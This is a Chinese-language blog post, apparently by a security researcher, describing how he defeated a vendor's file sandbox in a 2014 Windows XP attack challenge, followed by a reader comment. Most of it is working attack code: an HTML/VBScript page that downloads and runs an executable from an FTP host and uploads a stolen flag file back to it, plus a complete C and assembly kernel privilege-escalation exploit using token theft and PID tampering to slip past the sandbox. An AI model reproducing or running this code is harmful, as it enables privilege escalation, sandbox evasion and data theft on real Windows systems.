如何轻松bypass文件沙箱
yuange
14年xp挑战赛的时候,某公司防护由于有文件沙箱,外面也认为要破掉比较困难。在挑战前防护组的有人就到处挑衅,因为我知道其实要破这些很简单,就和老齐说了不要去挑事,事后你再怎么得瑟也行,某人才收敛了。
以前大学时候经常玩破解,而破解就是一种比较强的对抗,很多对抗措施,加密系统就经常hook系统,拦截一些底层的调用,还经常检测对抗解密措施。常规的破解办法就是找到分析hook的地方,找到系统更底层的调用入口,然后去调用饶过,两者就是玩逆向玩拼对系统的了解程度。一般对抗的时候,还加入了调试对抗,所以常规手段要短时间去分析饶过这文件沙箱还是确实有一定的难度。
因为对这些对抗很熟悉,我没有分析某沙箱,其实很简单的就能够想到这些沙箱原理,保存沙箱进程的标识,hook一些关键调用,hook里检测是在沙箱进程然后就做安全检测,通过就放行没通过就拒绝。以我二十来年前的总结“安全是一个条件语句”,很简单的想到这个沙箱进程的标识一般会是PID,所以当时就给防护组发了邮件,说了修改PID过沙箱的办法,防护组很快回邮件说修补好了,真的没想到我们各种建议各种防护措施提供各种利用给防护组,防护组纯粹就是欺骗领导。
DVE里的上传提权过文件沙箱再拷贝FLAG文件FTP传回来的脚本,别的情况下很复杂的,DVE的思路下都是几句脚本就实现。
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
On Error Resume Next
download()
setTimeout "window.close()",5000
setTimeout "getadmin()",1000
setTimeout "ftp()",2000
function download()
On Error Resume Next
Set oShell = CreateObject("Shell.Application")
copyType = 8
FTPUser = "ftp"
FTPPass = ""
FTPHost = "192.168.137.1"
FTPDir = "/"
strFTP = "ftp://" & FTPUser & ":" & FTPPass & "@" & FTPHost & FTPDir
exefile=strFTP&"getadmin.exe"
file="C:\DOCUME~1\XPERAN~1\LOCALS~1\Temp"
Set objEXE = oShell.NameSpace(file)
objEXE.CopyHere exefile , copyType
end function
function getadmin()
On Error Resume Next
set Shell = CreateObject("Shell.Application")
Shell.ShellExecute "C:\DOCUME~1\XPERAN~1\LOCALS~1\Temp\getadmin.exe","-v"
end function
function ftp()
On Error Resume Next
Set oShell = CreateObject("Shell.Application")
copyType = 8
FTPUser = "ftp"
FTPPass = ""
FTPHost = "192.168.137.1"
FTPDir = "/"
strFTP = "ftp://" & FTPUser & ":" & FTPPass & "@" & FTPHost & FTPDir
Set objFTP = oShell.NameSpace(strFTP)
objFTP.CopyHere "C:\Documents and Settings\xperangelab\Local Settings\Temp\test1.exe", copyType
end function
</script>
</body>
</html>
基本上都不用解释,一看就能明白。getadmin.exe原代码也是发给防护组了,让防护这个漏洞以及这些方法,防护组说修补了。结果我自己测试,不带参数不成功了,但是带系统默认的-v参数照常成功。后面解释-v参数意义。我在这个代码的shellcode里面就按照给他们说的修改PID过沙箱的办法,加了一句修改PID的汇编代码,利用代码在提供给他们的代码基础上简单加了点拷贝FLAG文件和恢复现场的代码等。
getadmin.c 因为保留了一些调试时测试的中间过程代码,稍微有点乱。
/* 这提权代码也非常经典的 */
/*
getadmin.c ver1.0
copy by yuange <yuange1975@139.com> 2009.1.4
*/
#include <windows.h>
//#pragma comment(lib,"ntdll")
#define BUFFSIZE 0x1000
unsigned int pid = 0;
unsigned int topid = 4;
unsigned char *name = NULL;
unsigned char *toname = "System";
unsigned int idtaddress =0;
unsigned int vmware =0;
unsigned int thispid = 0;
unsigned int adminok = 0;
unsigned int tokenadd = 0;
unsigned int token = 0;
unsigned int pidadd = 0;
void getvar(int argc, char **argv);
void resetpid()
{
_asm{
jmp begin
reset:
mov [esi-4],edx
mov dword ptr [esi+edi],ecx
iretd
begin: mov eax,0xffdf0100
lea ebx,reset
mov esi,pidadd
mov edi,tokenadd
mov ecx,token
mov edx,thispid
int 0x21
}
}
void bypass()
{
// Sleep(1000);
CopyFile("C:\\Documents and Settings\\xperangelab\\My Documents\\abc.doc","C:\\DOCUME~1\\XPERAN~1\\LOCALS~1\\Temp\\test1.exe",TRUE);
//"ftp:\\\\ftp@192.168.137.1\\abc.exe",TRUE);
// Sleep(1000);
// printf("\r\ncopy file ok!\r\n");
resetpid();
// Sleep(10000);
}
void admin( int intadd)
{
int data;
_asm{
mov eax,0x7ffe0100
mov eax,[eax]
mov data,eax
}
if(data==0xffdf0100)
{
printf("\nThe idt gate already ok!!\n");
__try{
_asm{
mov eax,0xffdf0100
mov ebx,intadd
mov ecx,pid
mov edx,topid
mov esi,thispid
int 0x21
mov adminok,eax
mov pidadd,esi
mov tokenadd,ebx
mov token,ecx
}
bypass();
if(adminok==0x55aaefef) printf("\r\nget admin ok!!\r\n");
else printf("\r\nget admin error!!\r\n");
}
__except(1){
printf("\r\nget admin idt error!\r\n");
exit(1);
}
exit(1);
}
}
int main(int argc, char **argv)
{
HWND hwnd;
HDC hdc;
char buff1[BUFFSIZE];
char buff2[BUFFSIZE];
char idtadd[0x06];
char ring0shellcode[]="\xb8\x00\x01\xdf\xff\x89\x00\xcf";
// char ring0shellcode[]="\x89\x03\xcf\xb8\x00\x01\xdf\xff\x89\x00\xcf";
// mov eax,0xffdf0100
// mov [eax],eax
// iretd
// 0xffdf0100内核可写,映射到0x7ffe0100只读,全局所有进程空间
char ring0shellcode2[]="\x3d\x00\x01\xdf\xff\x74\x01\xcf\x89\x00\xff\xe3\x90";
// cmp eax,0xffdf0100
// jz $+3
// iretd
// mov [eax],eax
// jmp ebx
// nop
// 0xffdf0100内核可写,映射到0x7ffe0100只读,全局所有进程空间
unsigned int i;
int j,pageadd,intfeadd;
thispid=GetCurrentProcessId();
pid=thispid;
getvar(argc, argv);
SetThreadAffinityMask(GetCurrentThread(),0x1);
i=0x100000;
i=VirtualAlloc(i,BUFFSIZE,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(i!=0x100000)
{
printf("memory error!\r\n");
exit(1);
}
j=VirtualLock(i,BUFFSIZE);
printf("\r\nmemaddress=0x%.4x\r\n",i);
i+=0x0000ffff;
i&=0xffff0000;
memset(i,0xcf,BUFFSIZE);
memcpy(i,ring0shellcode2,sizeof(ring0shellcode2)-1);
VirtualProtect(i,BUFFSIZE,PAGE_EXECUTE_READWRITE,&j);
hdc = GetDC(NULL);
SetTextCharacterExtra(hdc,i+0xee00);
// i=SetThreadAffinityMask(GetCurrentThread(),0x1);
ExtTextOut(hdc,6000,4000,0x2000,&buff1," ",1,buff2);
_asm{
lea ebx,intfe
mov i,ebx
}
admin(i);
if(idtaddress==0)
{
if(vmware==0)
{
_asm
{
lea ebx,idtadd
// sgdt fword ptr [ebx]
sidt fword ptr [ebx]
mov ebx,dword ptr[ebx+2]
mov idtaddress,ebx
}
}
else
{
idtaddress=0x8003f400;
}
}
if((idtaddress<0x80000000)|(idtaddress>0xf0000000))
{
printf("\r\nvm! idt=0x%.4x\r\n",idtaddress);
exit(1);
}
_asm
{
mov eax,0x18;
mov eax,fs:[eax]
add eax,0x1dc
xor ecx,ecx
mov cx,word ptr [eax]
sub ecx,0x10
mov [eax],0x40
mov ebx,idtaddress
add ebx,0x10c // int 0x21 0x10c=0x21*8+0x4
mov j,ebx
// mov ebx,0xffdf0100
add eax,ecx
sub ebx,eax
// sub ebx,0x50
mov [eax-0x14],ebx
mov eax,0x1001
int 0x2e
}
SetTextCharacterExtra(hdc,1);
__try{
_asm{
mov eax,0xffdf0100
lea ebx,intfe
mov ecx,pid
mov edx,topid
mov esi,thispid
int 0x21
mov adminok,eax
mov pidadd,esi
mov tokenadd,ebx
mov token,ecx
}
bypass();
if(adminok==0x55aaefef) printf("\r\nget admin ok!!\r\n");
else printf("\r\nget admin error!!\r\n");
//printf("\nThe idt gate ok!!\n");
}
__except(1){
printf("\r\nerror! idt=0x%.4x\r\n",idtaddress);
exit(1);
}
// Sleep(1000);
exit(1);
_asm{
intfe:
cmp eax,0xffdf0100
jnz nexteax
mov eax,0x55aaefef
jmp getadmin
retadd: iretd
nexteax: cmp eax,0xfefe1234
jnz retadd
jmp ebx
getadmin:
//
// iretd
push fs
push 0x30
pop fs
mov ebx,dword ptr fs:[0x124]
mov edi,dword ptr [ebx+0x44]
cmp edi,0
jnz ediok
mov edi,dword ptr [ebx+0x38]
ediok:
mov ebx,edi
mov edi,0x80
addedi: add edi,4
cmp edi,0x100
jz error
cmp [ebx+edi-4],esi
jnz addedi
// mov [ebx+edi-4],4
lea ebx,[ebx+edi]
mov eax,ebx
xor esi,esi
mov edi,esi
cmpecx: cmp [ebx-4],ecx
jnz cmpedx
mov esi,ebx
cmpedx: cmp [ebx-4],edx
jnz testok
mov edi,ebx
testok:
cmp esi,0
jz nextproc
cmp edi,0
jz nextproc
mov ebx,0x40
mov eax,[edi+ebx]
mov ecx,[esi+ebx]
mov [esi+ebx],eax
mov dword ptr [esi-4],4//0 //PID=0 过文件沙箱
mov eax,0x55aaefef
jmp ok
nextproc: mov ebx,[ebx]
cmp eax,ebx
jnz cmpecx
ok:
error: pop fs
iretd
/* win2000
push fs
push 0x30
pop fs
mov esi,dword ptr fs:[0x124]
mov esi,dword ptr [esi+0x44]
lea ebx,dword ptr [esi+0xa0]
mov ecx,0x100
getsystemtoken:
lea edi,dword ptr [ebx+0x15c]
cmp dword ptr[edi],'tsyS' // System
jnz nextsearchIdle
cmp dword ptr[edi+4],'me' //
jz searchprocess
nextsearchIdle:
mov ebx,dword ptr [ebx]
loop getsystemtoken
pop fs
iretd
searchprocess:
mov edi,dword ptr [ebx+0x8c]
mov ecx,0x100
nextprocess:
lea esi,dword ptr [ebx+0x15c]
cmp dword ptr [esi],'.DMC' // CMD.EXE
jz setsystemtoken
cmp dword ptr [esi],'.dmc' // cmd.exe
jnz nextpcb
setsystemtoken:
mov dword ptr [ebx+0x8c],edi
nextpcb: mov ebx,dword ptr [ebx]
loop nextprocess
pop fs
iretd
*/
/* winxp
push fs
push 0x30
pop fs
mov esi,dword ptr fs:[0x124]
mov esi,dword ptr [esi+0x44]
lea ebx,dword ptr [esi+0x88]
mov ecx,0x100
getsystemtoken:
lea edi,dword ptr [ebx+0xec]
cmp dword ptr[edi],'tsyS' // System
jnz nextsearchIdle
cmp dword ptr[edi+4],'me' //
jz searchprocess
nextsearchIdle:
mov ebx,dword ptr [ebx]
loop getsystemtoken
pop fs
iretd
searchprocess:
mov edi,dword ptr [ebx+0x40]
mov ecx,0x100
nextprocess:
lea esi,dword ptr [ebx+0xec]
cmp dword ptr [esi],'.DMC' // CMD.EXE
jz setsystemtoken
cmp dword ptr [esi],'.dmc' // cmd.exe
jnz nextpcb
setsystemtoken:
mov dword ptr [ebx+0x40],edi
nextpcb: mov ebx,dword ptr [ebx]
loop nextprocess
pop fs
iretd
/* win2003
push fs
push 0x30
pop fs
mov esi,dword ptr fs:[0x124]
mov esi,dword ptr [esi+0x38]
lea ebx,dword ptr [esi+0x98]
mov ecx,0x100
getsystemtoken:
lea edi,dword ptr [ebx+0xcc]
cmp dword ptr[edi],'tsyS' // System
jnz nextsearchIdle
cmp dword ptr[edi+4],'me' //
jz searchprocess
nextsearchIdle:
mov ebx,dword ptr [ebx]
loop getsystemtoken
pop fs
iretd
searchprocess:
mov edi,dword ptr [ebx+0x40]
mov ecx,0x100
nextprocess:
lea esi,dword ptr [ebx+0xcc]
cmp dword ptr [esi],'.DMC' // CMD.EXE
jz setsystemtoken
cmp dword ptr [esi],'.dmc' // cmd.exe
jnz nextpcb
setsystemtoken:
mov dword ptr [ebx+0x40],edi
nextpcb: mov ebx,dword ptr [ebx]
loop nextprocess
pop fs
iretd
*/
}
}
void usage ( char *arg )
{
printf("\r\nUsage: %s [-h] [-p pid] [-n name] [-t token to pid] [-m token to name] [-i idtadress] [-v]",arg );
exit( EXIT_FAILURE );
} /* end of usage */
void getvar(int argc, char **argv)
{
unsigned int i;
for ( i = 1; i < argc; i++ )
{
/*
* 同时支持-和/两种引入命令行参数的方式
*/
if ( ( argv[i][0] == '-' ) || ( argv[i][0] == '/' ) )
{
/*
* 在这个字节上,大小写不敏感
*/
switch ( tolower( argv[i][1] ) )
{
case 'n':
/*
* 需要提权的进程名
*/
if(i<argc-1) name = argv[++i];
break;
case 'p':
/*
* 需要提权的进程pid
*/
if(i<argc-1) pid = atoi(argv[++i]);
break;
case 't':
/*
* 提权到的进程pid
*/
if(i<argc-1) topid = atoi(argv[++i]);
break;
case 'm':
/*
* 提权到的进程名
*/
if(i<argc-1) toname = argv[++i];
break;
case 'i':
/*
* idt address
*/
if(i<argc-1) idtaddress=strtoul(argv[++i],NULL,0);
//( ( RtlCharToInteger(argv[++i],10,&idtaddress);
printf("0x%.8x",idtaddress);
break;
case 'v':
/*
* 提权到的进程名
*/
vmware=1;
break;
case 'h':
case '?':
default:
usage( argv[0] );
} /* end of switch */
}
else
{
usage( argv[0] );
}
} /* end of for */
}
//***********************************************************************************
可以看出来-v是本来就有的在虚拟机条件下的利用参数,就是虚拟机本身修改了idt,获得的idt不准确,如果是虚拟机就用了系统的idt地址硬编码。提供给防护组的代码里就有的,因为本来是默认就能成功的,所以这个参数我就没说。然后他们修补了情况下,执行时带上-v参数就真香了。
shellcode就加了一句“ mov dword ptr [esi-4],4//0 //PID=0 过文件沙箱”就成功破掉文件沙箱,我都没有分析没有逆向他们的沙箱。
void bypass()
{
// Sleep(1000);
CopyFile("C:\\Documents and Settings\\xperangelab\\My Documents\\abc.doc","C:\\DOCUME~1\\XPERAN~1\\LOCALS~1\\Temp\\test1.exe",TRUE);
//"ftp:\\\\ftp@192.168.137.1\\abc.exe",TRUE);
// Sleep(1000);
// printf("\r\ncopy file ok!\r\n");
resetpid();
// Sleep(10000);
}
bypass这就是把flag文件拷贝成exe文件,然后dve里脚本去上传用的。因为PID被修改了,CopyFile调用的系统hook里检测,发现当前PID(已经被修改)不在保存的沙箱进程列表里面,正常放行。
整个破解在原有的东西基础上,没有分析这个保护系统,只是根据想像,还用不了半个小时搞定,就是这么简单。
感谢您的文章,如果代码能用代码格式框起来或者放成文件就更好了。请问这个提权的代码是针对xp及其以前的吗?原理是怎样的呢?
回复删除